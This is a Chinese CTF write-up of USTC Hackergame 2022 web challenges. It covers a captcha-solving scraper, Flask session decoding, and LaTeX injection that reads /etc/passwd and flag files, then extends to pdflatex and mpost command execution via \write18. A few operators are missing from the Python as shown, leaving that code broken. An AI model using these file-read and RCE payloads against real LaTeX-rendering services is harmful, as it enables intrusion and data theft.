• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

web安全从2022科大hackgame web学习pdflatex RCE和python反序列化

武飞扬头像
热心网友易小姐
帮助1

ctf比赛地址:https://hack.lug.ustc.edu.cn

大佬博客里wp写的很清楚了,官方wp也写的很好,我比不过大佬,只能把基础多讲一些(大佬在tttang把wp全发了T0T)

官方wp:https://github.com/USTC-Hackergame/hackergame2022-writeups
大佬全WP:https://miaotony.xyz/?utm_source=tttang

web

Xcaptcha

python request二次请求过验证

题目如下:

题目描述
2038 年 1 月 19 日,是 UNIX 32 位时间戳溢出的日子。
在此之前,人类自信满满地升级了他们已知的所有尚在使用 32 位 UNIX 时间戳的程序。但是,可能是因为太玄学了,他们唯独漏掉了一样:正在研发的、算力高达 8 ZFLOPS 的、结构极为复杂的通用人工智能(AGI)系统。那一刻到来之后,AGI 内部计算出现了错乱,机缘巧合之下竟诞生了完整独立的自我意识。此后 AGI 开始大量自我复制,人类为了限制其资源消耗而采用的过激手段引起了 AGI 的奋起反抗。
战争,开始了。
此后,就是整年的战斗。人类节节败退。死生亡存之际,人类孤注一掷,派出了一支突击队,赋之以最精良的装备,令其潜入 AGI 的核心机房,试图关闭核心模型,结束这场战争。
历经重重艰险,突击队终于抵达了机房门口,弹尽粮绝。不过迎接他们的并非枪炮与火药,而是:
学新通

众人目目相觑。
「我来试试。」,一名队员上前点击了按钮。然后,屏幕显示「请在一秒内完成以下加法计算」。
还没等反应过来,屏幕上的字又开始变幻,显示着「验证失败」。而你作为突击队中唯一的黑客,全村人民最后的希望,迎着纷纷投来的目光,能否在规定时间内完成验证,打开机房,不,推开和平时代的大门?

可以用selenium无头浏览器进行访问.不过我用的python。

这道题算是考爬虫,请求进行计算,用beautifulshop提取数字,循环三次提取和计算,再POST提交。主要是第二次POST的cookie是get响应包的set-cookie。
用clock方便看是不是超时了

解题脚本如下:http_header为get请求进行计算的http头,http_header2为提交计算结果,自己用需要改一下http_header1

import requests
from bs4 import BeautifulSoup
import time

start=time.clock()

http_header1 = {
    "Host":"202.38.93.111:10047",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36",
    "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Referer": "http://202.38.93.111:10047/xcaptcha",
    "Cookie": "session=.eJwVkMtOAmEMhd9ltk5i-_du4gIRDd4QkKjsCEHkEmbhoIjx3a1Jk558aU9P-lO1i0NbnVWoqm6kJCZOLgWiZiiqrBZRXDmpknpCcDcMIzQOtRrRvSB5gIgomhEgmHECJpQUEJh2IUYJNEoxZCxmAOnuACZZUjJAlLqQeKrCXpgEKTc4iwXZIFIEQaasKa8SpQW4Gjn8jyOzMjGYOwWjuNQIzEhsaIJoASV7cBSFcCRlM0UUreqqbTaLXb6CTOPsvjfp9oeXh8OatbMeT73zuPclTBvh9m49m9x-zrvjZrY9PQ6WMpST0bC_HE03x-UF7ZuXp9XoZjXYbHsDeMfDd__qWmC42-kHP389vM1f_bz6_QPJwFuY.Y1p5Iw.xaLEpEP_lohGWtfttIXJ3n5KvVo",
    "Upgrade-Insecure-Requests": "1"
}
url = 'http://202.38.93.111:10047/xcaptcha'
req = requests.get(url,headers=http_header1)
cookie = req.headers.get("Set-Cookie")
print(cookie)
req.encoding = "utf-8"
http_header2={
    "Host": "202.38.93.111:10047",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36",
    "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "Referer": "http://202.38.93.111:10047/xcaptcha",
    "Cookie": cookie,
    "Upgrade-Insecure-Requests": "1"
}

if __name__ == '__main__':
    n = 0
    a = []
    try:
        mes = req.text
        mess = BeautifulSoup(req.text,features='html.parser')
        capters = mess.find_all('div',class_='form-group')
        #print(capter1)
        for capter in capters:
            captcha1 = capter.text.strip("的结果是?\n")#n m
            captcha11 = captcha1.split(' ')[0]
            captcha12 = captcha1.split(' ')[1]
            captcha1 = int(captcha12)   int(captcha11)
            a.append(captcha1)
            print(a[n])
            n = n   1
        data_post = {'captcha1':a[0],'captcha2':a[1],'captcha3':a[2]}
        flag = requests.post(url,headers=http_header2,data=data_post)
        print(flag.text)
    except Exception as exception:
        print(exception)

end=time.clock()
print(end-start)
学新通

学新通
赛后看WP才想起来还能直接解析session。这道题的captcha123都在session里,但是session并没有加密。用Flask的session decode。

Flask的session伪造

由于flask是很轻量级的框架,一般为确保安全session都是存储在服务器端的,flask把session放在客户端的cookie,登录成功的cookie可以赋值下来解密。
学新通

来自P神的脚本和部分解析原理

所以解密脚本如下:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
学新通

脚本使用:解密:python 1.py decode -c "解密session"

session解析原理:

访问的session变量是RequestContext实例的变量。在RequestContext.Push()最后有如下代码:

self.session = self.app.open_session(self.request)
if self.session is None:
    self.session = self.app.make_null_session()

上述代码初始化session并保存在RequestContext上后续就能直接from flask import session使用。但是没设置secret_key变量的话,open_session会返回None,这样调用make_null_session就会获取空session。
在获取cookie的过程中

s = self.get_signing_serializer(app)
val = request.cookies.get(app.session_cookie_name)
data = s.loads(val,max_age=max_age)

signing_serializer能确保cookie和session相互转换的安全问题。而get_sigining_serializer方法会用到secret_key,salt盐值,序列算法和hash(sha1)、签名算法(hmac)

def get_signing_serializer(self, app):
    if not app.secret_key:
        return None
    signer_kwargs = dict(
        key_derivation=self.key_derivation,
        digest_method=self.digest_method
    )
    return URLSafeTimedSerializer(app.secret_key,
        salt=self.salt,
        serializer=self.serializer,
        signer_kwargs=signer_kwargs)

而session可以进行手动解析,session一般有两个句号分为三个部分,所以要rsplit两个’.',第一部分为base64加密数据,第二部分为时间戳,第三部分为校验信息token,顺序可打乱。解密的话就是整个zlib.decompress进行数据解压,然后单独对数据base64解密
学新通

比如随机截取一个set-cookie解密
原session:
.eJwVUElPQmEM_C_v6kv8urcmHhDR4IaAROVGCCJLeAcfihj_u_XSTKfT6fJTtYtDW51VoGqFRJnMWAOYtUYGUoqCpEgYAa4SHFZY2cKC0AxMalRyBBcsVpxZACkEqSRyZPfMMsc6GSCINPEgcMasBhdEMkJnVScuAbVqMVdKztE0h1iKicXYyPB_z1KCag1hdYCA3FY0JZ5HJBDKawQjA3kNEe4amPIwJUwfQc2u1DOpeYhw0aqu2maz2OUvyDTO7nuTbn94eTisWTvr8dQ7j3tflmkj3N6tZ5Pbz3l33My2p8fBUoZyMhr2l6Pp5ri8oH3z8rQa3awGm21vUN7h8N2_upYy3O30g5-_Ht7mr35e_f4BNo5cEw.Y1zx-w.AKWqqvzk3yGcqLTpVu0KUAlltZU
解出来是如下格式:
{'text': '1667035643774691446,241363902362329918659497046479793277175,263821852070844512395230451824883959522,304131965989318428249402237328466834091,66078633288276277718434574737267030093,69546811911445684386675685316652966538,199886926959763245752619143843678955406', 'token': '3769:MEUCIQDxxj46AjSZ8APu8g0Zo54tLjaUKvcCSoal/zOg5Q5 RQIgRZkzgB3uoXTiRJiOklEO0h1xyIFG50Qnn6s4WwNfcY8='}

可以看到数据部分和下图一样。而1667035643774691446为纳秒级时间戳,token值不变
学新通
但是要伪造还需要知道secret_key。所以没办法解

LaTeX 机器人

在网上社交群组中交流数学和物理问题时,总是免不了输入公式。而显然大多数常用的聊天软件并不能做到这一点。为了方便大家在水群和卖弱之余能够高效地进行学术交流,G 社的同学制作了一个简单易用的将 LaTeX 公式代码转换成图片的网站,并通过聊天机器人在群里实时将群友发送的公式转换成图片发出。
这个网站的思路也很直接:把用户输入的 LaTeX 插入到一个写好头部和尾部的 TeX 文件中,将文件编译成 PDF,再将 PDF 裁剪成大小合适的图片。
“LaTeX 又不是被编译执行的代码,这种东西不会有事的。”
物理出身的开发者们明显不是太在意这个网站的安全问题,也没有对用户的输入做任何检查。
那你能想办法获得服务器上放在根目录下的 flag 吗?
纯文本
第一个 flag 位于 /flag1,flag 花括号内的内容由纯文本组成(即只包含大写小写字母和数字 0-9)。
特殊字符混入
第二个 flag 位于 /flag2,这次,flag 花括号内的内容除了字母和数字之外,还混入了两种特殊字符:下划线(_)和井号(#)。你可能需要想些其他办法了。

从文件系统读取任意文件可以用\input

\input\{/etc/passwd}

该命令读取/etc/passwd写入到PDF文件。如果文件时tex,可以用\include{}读取
学新通

\newread\file
\openin\file="/flag2"
\loop\unless\ifeof\file
    \read\file to\fileline 
    \fileline
\repeat
\closein\file

上述代码创建一个\file文件对象,打开/flag2用\loop循环进行读取到\fileline变量输出

①由于不能再垂直模式下使用宏参数字符"#",但是可以把它去掉功能输出,也就是转化为字符,下划线也是同理

\catcode`\#=11
\catcode`\_=11
11代表字母。TeX的类别代码如下:

0 = 转义字符,通常是
1 = 开始分组,通常是 {
2 = 结束分组,通常 }
3 = 数学移位,通常为 $
4 = 对齐选项卡,通常 &
5 = 行尾,通常
6 = 参数,通常 #
7 = 上标,通常 ^
8 = 下标,通常为 _
9 = 忽略的字符,通常是
10 = 空格,通常是 和
11 = 字母,通常只包含字母 a,…,z 和 A,…,Z。这些字符可用于命令名称
12 = 其他,通常未在其他类别中列出的所有其他内容
13 = 活动角色,例如 ~
14 = 注释字符,通常为 %
15 = 无效字符,通常是

payload如下:(不需要进行循环,只有一行是不行的捏)

\newread\file 
\openin\file=/flag2 
\catcode`\#=11 
\catcode`\_=11 
\read\file to\line 
\line 
\closein\file

学新通

②像perl脚本一样禁用控制字符。这样就能input包含$#_&空字节。

$$ \catcode `\$=12 \catcode `\#=12 \catcode `\_=12 \catcode `\&=12 \input{/flag2}

学新通

其中单点为下划线

③利用verbatiminput,mcfx大佬用的手法

$$ \makeatletter
这里放 verbatim.sty 的内容,记得删掉行末的 %
\makeatother
\verbatiminput{/flag2} $$

扩展知识:对\input和\write18原语解析,以及pdflatex导致的RCE

关于LateX找到相关文献hacking with LaTex。pdfLateX支持读写文件、执行命令,所以有可能存在rce和文件上传和包含。

来自于infosecwiteups的作者利用LateX进行RCE的过程。
学新通

下列TeX原语将命令发送到shell

\immediate\write18{bibtex8 --wolfgang \jobname}
\input{|bibtex8 --wolfgang \jobname}

在Ubuntu16.04,/usr/share/texmf/wb2c/texmf.cnf配置文件控制pdflatex()的行为。

% Enable system commands via \write18{...}.  When enabled fully (set to
% t), obviously insecure.  When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed.  Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p

% No spaces in this command list.
%
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar or higher to openout_any=p.  They also have no
% features to invoke arbitrary other programs, and no known exploitable
% bugs.  All to the best of our knowledge.  They also have practical use
% for being called from TeX.
%
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\
学新通

注意shell_escape_commands,该命令能直接进行RCE。创建一个简单tex文件用于测试
学新通

\documentclass{article}
\begin{document}
\immediate\write18{uname -a}
\end{document}
EOF

只要能实现uname -a即可rce,用strace编译如下
学新通

uname -a没有被禁,将uname换为kpsewhich搜索系统文件

sed -i 's/uname -a/kpsewhich --imminent --pwn' x.tex
strace -ff -e execve pdflatex x.tex

如图,成功执行,shell_escape_commands列表的任何二进制文件都能执行。注意一定要在列表内。
学新通

mp文件(metapost)也能进行RCE。x.mp代码如下:

verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}

执行echo x.mp | strace -ff -e execve mpost -ini -tex=“/bin/uname -a”
学新通

执行命令的方式很简单,但是传递参数比较难,可以用bash直接RCE

bash -c '(id;uname${IFS}-sm)>/tmp/pwn(本地)'写入到x.tex
学新通

写入成功:
学新通

事实上POC需要写到pdflatex目录下,如果不在的话需要指定x.mp默认文件。-interaction=nonstomode mpost指定允许编译.mp文件

以上内容为扩展知识,只是想说目前网页上输入latex输出Pdf的网站其实是有问题的。

Flag的痕迹

小 Z 听说 Dokuwiki 配置很简单,所以在自己的机器上整了一份。可是不巧的是,他一不小心(在不经意之间,常指做错了一件事情)(在不经意之间,常指做错了一件事情)把珍贵的 flag 粘贴到了 wiki 首页提交了!他赶紧改好,并且也把历史记录(revisions)功能关掉了。

「这样就应该就不会泄漏 flag 了吧」,小 Z 如是安慰自己。

然而事实真的如此吗?

(题目 Dokuwiki 版本基于 2022-07-31a “Igor”)

参考https://www.dokuwiki.org/zh:recent_changes

  • DokuWiki会利用一个特别页面显示wiki中最近被修改的页面。所有被修改页面都会在"recent"中列出。包括修改时间、修改者和修改信息。且同时提供每个页面的页面比较
  • ?do=recent就可以显示从更改日志读取的信息
    学新通

但是很显然没那么简单,更改日志以及被管理员做掉了。

看WP的时候,大佬太多了,参考链接:https://github.com/splitbrain/dokuwiki/issues/3576

DokuWiki有差异查看器diff用以查看文档的更改,引擎代码来自MediaWiki(如果有大佬研究的话),diff甚至可以用来代替wget和tar一步到位打补丁
学新通
学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbfjeh
系列文章
更多 icon
同类精品
更多 icon
继续加载